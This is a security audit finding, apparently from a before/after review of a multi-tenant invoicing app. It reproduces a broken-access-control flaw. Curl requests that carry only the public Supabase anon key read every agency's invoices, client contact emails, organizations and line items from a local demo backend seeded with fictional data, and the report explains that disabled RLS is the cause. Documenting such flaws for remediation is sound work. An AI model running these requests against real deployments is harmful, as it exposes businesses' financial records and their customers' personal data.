Anyone with the public anon key reads every agency's invoices and client emails

Source file: evidence/before/fm01-anon-reads-everything.md

Failure mode: FM1, FM14 (research/FAILURE_MODES.md) · Severity: critical · Reproduced: yes

Impact: Every agency's revenue, invoice amounts and client contact list is public to anyone who opens DevTools on the login page.

Target: the before app's backend (localbase, a local Supabase stand-in) on 127.0.0.1, seeded with fictional demo data. Regenerate with pnpm tsx before/exploits/fm01-anon-reads-everything.ts or pnpm tsx before/exploits/run-all.ts. Generated 2026-11-22T16:05:25.663Z.

Setup

sh
URL=http://127.0.0.1:4102
ANON=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...   # the public anon key, readable in the JS bundle (before/.env VITE_SUPABASE_ANON_KEY)

Steps

1. List invoices with only the anon key (no login)

sh
curl -s "$URL/rest/v1/invoices?select=*&order=total.desc" \
  -H "apikey: $ANON"

Response: HTTP 200

json
[
  {
    "id": "0c55e9e0-583c-4b9d-89d6-b9cd857de2ce",
    "org_id": "396a94a8-a43a-4289-91fd-087b55f18d50",
    "client_id": "2287c509-d800-43af-9352-22d5d2fe55b9",
    "project_id": "3a9d3ef3-a837-4c6c-b74f-90af1a5222f0",
    "number": "TWS-1005",
    "status": "paid",
    "currency": "usd",
    "issued_on": "2026-09-03",
    "due_on": "2026-09-17",
    "total": 11330,
    "paid_at": "2026-09-11T00:00:00+00:00",
    "stripe_session_id": null,
    "created_at": "2026-11-22T16:04:58.778+00:00"
  },
  {
    "id": "0589a707-579c-40ac-bf74-e19724574743",
    "org_id": "396a94a8-a43a-4289-91fd-087b55f18d50",
    "client_id": "2287c509-d800-43af-9352-22d5d2fe55b9",
    "project_id": "3a9d3ef3-a837-4c6c-b74f-90af1a5222f0",
    "number": "TWS-1004",
    "status": "paid",
    "currency": "usd",
    "issued_on": "2026-09-06",
    "due_on": "2026-09-20",
    "total": 9660,
    "paid_at": "2026-09-18T00:00:00+00:00",
    "stripe_session_id": null,
    "created_at": "2026-11-22T16:04:58.778+00:00"
  },
  {
    "id": "721e7964-0028-470c-a71f-0234394f4b38",
    "org_id": "d10e897e-3fad-4fe7-8ce6-ea6c6b804e9c",
    "client_id": "8d8cb6a9-c021-49e5-a44e-5d1f6f6c950b",
    "project_id": "677bc368-9659-4982-9234-2b9351468ffd",
    "number": "NLS-1028",
    "status": "paid",
    "currency": "usd",
    "issued_on": "2026-11-03",
    "due_on": "2026-11-17",
    "total": 9375,
    "paid_at": "2026-11-14T00:00:00+00:00",
    "stripe_session_id": null,
    "created_at": "2026-11-22T16:04:58.778+00:00"
  },
  "... 64 more (67 total)"
]

2. List clients with only the anon key

sh
curl -s "$URL/rest/v1/clients?select=name,contact_name,contact_email,org_id" \
  -H "apikey: $ANON"

Response: HTTP 200

json
[
  {
    "name": "Bramble Coffee Roasters",
    "contact_name": "Priya Raman",
    "contact_email": "priya@bramblecoffee.example",
    "org_id": "d10e897e-3fad-4fe7-8ce6-ea6c6b804e9c"
  },
  {
    "name": "Kestrel Physio",
    "contact_name": "Tom Achebe",
    "contact_email": "tom@kestrelphysio.example",
    "org_id": "d10e897e-3fad-4fe7-8ce6-ea6c6b804e9c"
  },
  {
    "name": "Halden Bikes",
    "contact_name": "Ines Lund",
    "contact_email": "ines@haldenbikes.example",
    "org_id": "d10e897e-3fad-4fe7-8ce6-ea6c6b804e9c"
  },
  {
    "name": "Fieldnote Books",
    "contact_name": "Sam Whitlow",
    "contact_email": "sam@fieldnotebooks.example",
    "org_id": "d10e897e-3fad-4fe7-8ce6-ea6c6b804e9c"
  },
  "... 5 more (9 total)"
]

3. Name the tenants those rows belong to

sh
curl -s "$URL/rest/v1/organizations?select=id,name,stripe_customer_id" \
  -H "apikey: $ANON"

Response: HTTP 200

json
[
  {
    "id": "d10e897e-3fad-4fe7-8ce6-ea6c6b804e9c",
    "name": "Northlake Studio",
    "stripe_customer_id": null
  },
  {
    "id": "396a94a8-a43a-4289-91fd-087b55f18d50",
    "name": "Tidewater Social",
    "stripe_customer_id": null
  }
]

4. Read line items (what each client is paying for)

sh
curl -s "$URL/rest/v1/invoice_items?select=description,quantity,unit_price&limit=3" \
  -H "apikey: $ANON"

Response: HTTP 200

json
[
  {
    "description": "Website design, homepage and 5 templates",
    "quantity": 1,
    "unit_price": 5715
  },
  {
    "description": "Paid social management, monthly",
    "quantity": 1,
    "unit_price": 1080
  },
  {
    "description": "Email newsletter template",
    "quantity": 1,
    "unit_price": 525
  }
]

What this shows

  • 67 invoices from 2 different agencies came back to a caller who never signed in.
  • 9 client contact emails (priya@bramblecoffee.example, tom@kestrelphysio.example, ines@haldenbikes.example, ...) are readable the same way.
  • RLS is disabled on clients, invoices, invoice_items and payments (schema.sql, "[FM1]"). Supabase grants the anon role full table privileges by default, so disabling RLS publishes the table.
  • select=* is what the app itself sends (src/hooks/useInvoices.ts), so every column, including stripe_session_id, travels to every browser [FM14].